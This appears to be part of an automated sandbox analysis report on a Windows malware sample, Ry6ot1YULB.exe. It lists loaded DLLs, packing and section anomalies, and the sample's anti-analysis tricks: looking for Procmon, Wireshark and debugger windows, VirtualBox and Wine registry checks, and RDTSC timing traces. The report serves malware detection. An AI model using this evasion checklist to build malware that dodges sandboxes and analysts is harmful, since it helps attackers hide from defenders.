Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeSection loaded: kernel.appcore.dllJump to behavior
Source: Ry6ot1YULB.exeStatic file information: File size 4453888 > 1048576
Source: Ry6ot1YULB.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x283e00
Source: Ry6ot1YULB.exeStatic PE information: Raw size of ocsbkfkw is bigger than: 0x100000 < 0x1b7a00

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeUnpacked PE file: 0.2.Ry6ot1YULB.exe.f60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ocsbkfkw:EW;ujuhopim:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ocsbkfkw:EW;ujuhopim:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: Ry6ot1YULB.exeStatic PE information: real checksum: 0x4460a5 should be: 0x44bc7e
Source: Ry6ot1YULB.exeStatic PE information: section name:
Source: Ry6ot1YULB.exeStatic PE information: section name: .idata
Source: Ry6ot1YULB.exeStatic PE information: section name:
Source: Ry6ot1YULB.exeStatic PE information: section name: ocsbkfkw
Source: Ry6ot1YULB.exeStatic PE information: section name: ujuhopim
Source: Ry6ot1YULB.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D727FC push cs; ret 0_3_01D72803
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5C9B4 pushad ; ret 0_3_01D5CB29
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D7D4A6 push ss; ret 0_3_01D7D4FB
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D69449 push 3A00C3ABh; ret 0_3_01D69493
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D6A449 pushad ; ret 0_3_01D6A451
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D63D06 push eax; retf 0_3_01D63D0D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D727FC push cs; ret 0_3_01D72803
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5C9B4 pushad ; ret 0_3_01D5CB29
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D7D4A6 push ss; ret 0_3_01D7D4FB
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D69449 push 3A00C3ABh; ret 0_3_01D69493
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D6A449 pushad ; ret 0_3_01D6A451
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D63D06 push eax; retf 0_3_01D63D0D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D727FC push cs; ret 0_3_01D72803
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5C9B4 pushad ; ret 0_3_01D5CB29
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D7D4A6 push ss; ret 0_3_01D7D4FB
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D69449 push 3A00C3ABh; ret 0_3_01D69493
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D6A449 pushad ; ret 0_3_01D6A451
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D63D06 push eax; retf 0_3_01D63D0D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D727FC push cs; ret 0_3_01D72803
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5C9B4 pushad ; ret 0_3_01D5CB29
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D7D4A6 push ss; ret 0_3_01D7D4FB
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D69449 push 3A00C3ABh; ret 0_3_01D69493
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D6A449 pushad ; ret 0_3_01D6A451
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D63D06 push eax; retf 0_3_01D63D0D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D727FC push cs; ret 0_3_01D72803
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D5C9B4 pushad ; ret 0_3_01D5CB29
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D7D4A6 push ss; ret 0_3_01D7D4FB
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D69449 push 3A00C3ABh; ret 0_3_01D69493
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D6A449 pushad ; ret 0_3_01D6A451
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_3_01D63D06 push eax; retf 0_3_01D63D0D
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeCode function: 0_2_012E41D0 push eax; mov dword ptr [esp], edx0_2_012E41D5
Source: Ry6ot1YULB.exeStatic PE information: section name: ocsbkfkw entropy: 7.956906255331213

Boot Survival

barindex
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: RegmonClassJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: FilemonClassJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: RegmonclassJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: FilemonclassJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior

Malware Analysis System Evasion

barindex
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: X64DBG.EXE
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WINDBG.EXE
Source: Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 157E09E second address: 157E0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E593h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8EE6 second address: 16F8EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F7B20B24F7Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8EFD second address: 16F8F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8F01 second address: 16F8F16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8F16 second address: 16F8F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8F24 second address: 16F8F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F8F28 second address: 16F8F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F7B2139E586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7B2139E593h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9117 second address: 16F912A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F912A second address: 16F912E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F912E second address: 16F9151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F7Bh 0x00000007 jmp 00007F7B20B24F80h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9151 second address: 16F9155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9155 second address: 16F9159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F92C8 second address: 16F92CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F92CC second address: 16F92E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F7B20B24F7Ch 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9746 second address: 16F9791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F7B2139E58Ah 0x0000000a pushad 0x0000000b jnl 00007F7B2139E586h 0x00000011 jmp 00007F7B2139E599h 0x00000016 js 00007F7B2139E586h 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F7B2139E58Eh 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 pop edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9791 second address: 16F979D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jno 00007F7B20B24F76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16F9931 second address: 16F993D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7B2139E586h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC816 second address: 16FC864 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7B20B24F78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F7B20B24F78h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov dl, 27h 0x00000029 push 00000000h 0x0000002b mov edx, dword ptr [ebp+122D381Ah] 0x00000031 push ADC5462Dh 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a pop eax 0x0000003b jp 00007F7B20B24F76h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC864 second address: 16FC86A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC86A second address: 16FC86E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC966 second address: 16FC96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC9D2 second address: 16FC9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC9D7 second address: 16FC9E1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7B2139E58Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FC9E1 second address: 16FCA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F7B20B24F78h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 push esi 0x00000022 mov esi, dword ptr [ebp+122D1C56h] 0x00000028 pop ecx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007F7B20B24F78h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 mov cx, 1B4Ch 0x00000049 push 5A21AA7Ah 0x0000004e js 00007F7B20B24F84h 0x00000054 pushad 0x00000055 jns 00007F7B20B24F76h 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 16FCB20 second address: 16FCB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171D006 second address: 171D015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7B20B24F76h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171AF96 second address: 171AFBC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7B2139E5A0h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171B7A0 second address: 171B7C2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jnp 00007F7B20B24F82h 0x00000012 ja 00007F7B20B24F76h 0x00000018 jne 00007F7B20B24F76h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171B7C2 second address: 171B7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171BBA2 second address: 171BBB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B20B24F80h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171BD1A second address: 171BD24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C16C second address: 171C18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B20B24F7Dh 0x00000008 jmp 00007F7B20B24F7Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C760 second address: 171C765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C765 second address: 171C777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7B20B24F7Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C777 second address: 171C77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C77D second address: 171C789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C789 second address: 171C79C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007F7B2139E58Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171C910 second address: 171C918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171CBCE second address: 171CBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171CEA5 second address: 171CEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 171F96F second address: 171F973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17210E1 second address: 17210EB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1723668 second address: 1723687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E592h 0x00000009 popad 0x0000000a jl 00007F7B2139E588h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1723687 second address: 1723695 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7B20B24F78h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1723695 second address: 1723699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17294EA second address: 1729507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a ja 00007F7B20B24F76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172982F second address: 172984A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E596h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172984A second address: 1729852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729852 second address: 1729856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17299D9 second address: 17299DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17299DD second address: 17299E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17299E1 second address: 17299E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17299E7 second address: 17299F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17299F1 second address: 1729A05 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F7B20B24F76h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729A05 second address: 1729A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729D0F second address: 1729D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F7B20B24F89h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729E71 second address: 1729E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729E77 second address: 1729E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1729E7B second address: 1729E7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 172B5D2 second address: 172B5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
